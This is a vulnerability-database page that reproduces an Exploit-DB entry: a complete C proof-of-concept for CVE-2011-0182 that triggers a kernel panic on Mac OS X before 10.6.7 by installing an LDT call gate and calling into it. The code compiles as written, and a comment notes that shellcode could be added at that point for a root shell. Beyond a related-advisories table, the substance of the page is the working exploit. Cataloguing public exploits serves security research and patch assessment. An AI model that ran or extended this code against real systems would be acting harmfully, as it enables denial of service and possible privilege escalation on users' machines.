Lucene search
K

Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service)

🗓️ 28 Sep 2011 00:00:00Reported by hkpcoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Apple Mac OSX < 10.6.7 Kernel Panic Exploit, CVE-2011-018

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Mac OS X < 10.6.7 Kernel Panic Exploit
27 Sep 201100:00
zdt
Tenable Nessus
Mac OS X 10.6 < 10.6.7 Multiple Vulnerabilities
21 Mar 201100:00
nessus
Tenable Nessus
Mac OS X 10.6 < 10.6.7 Multiple Vulnerabilities
21 Mar 201100:00
nessus
Tenable Nessus
Mac OS X 10.6.x < 10.6.7 Multiple Vulnerabilities
22 Mar 201100:00
nessus
Circl
CVE-2011-0182
31 Aug 202503:01
circl
CVE
CVE-2011-0182
23 Mar 201101:00
cve
Cvelist
CVE-2011-0182
23 Mar 201101:00
cvelist
canvas
Immunity Canvas: CVE_2011_0182
23 Mar 201102:00
canvas
EUVD
EUVD-2011-0208
7 Oct 202500:30
euvd
exploitpack
Apple Mac OSX 10.6.7 - Kernel Panic (Denial of Service)
28 Sep 201100:00
exploitpack
Rows per page
/*
	Mac OS X < 10.6.7 Kernel Panic Exploit
	CVE-2011-0182, Proof Of Concept Code

	Author	- Chanam Park (hkpco)
	Date	- 2011. 06
	Contact	- [email protected] , http://hkpco.kr , @hkpco

	Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )
{
	int ret;
	union ldt_entry cgate, cgate2;
	char dummy[128] = {0x00,};

	cgate.call_gate.offset00        = (unsigned int)dummy_func & 0xffff;
	cgate.call_gate.offset16        = ((unsigned int)dummy_func >> 16) & 0xffff;
	// You can input shellcode address value here to get the root shell.
	/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
	   The normal system has a little different environment.
	   I have no time for this anymore because of my summer break is over.
	   So.. Good Luck! */

	cgate.call_gate.argcnt          = 0;
	cgate.call_gate.type            = 0xc; // DESC_CALL_GATE
	cgate.call_gate.dpl             = 3;
	cgate.call_gate.present         = 1;

	cgate.call_gate.seg.rpl         = 0;
	cgate.call_gate.seg.ti          = 0;
	cgate.call_gate.seg.index       = 16;

	cgate2.call_gate.offset00       = 0x0;

	cgate2.call_gate.seg.rpl        = 0;
	cgate2.call_gate.seg.ti         = 0;
	cgate2.call_gate.seg.index      = 0;

	cgate2.call_gate.argcnt         = 0;
	cgate2.call_gate.type           = 0;
	cgate2.call_gate.dpl            = 0;
	cgate2.call_gate.present        = 1;

	cgate2.call_gate.offset16       = 0x0;

	printf( "// coded by Chanam Park (hkpco)\n\n" );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
	printf( "Selector Number in LDT <1>: 0x%x\n", ret );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
	printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

	printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
	printf( "The program will be continued when you input any value.\n" );
	printf( "-> " );
	fflush(stdout);
	scanf( "%s", dummy );

	asm volatile( "lcall $0x3f, $0x0" );
	// Trigger

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation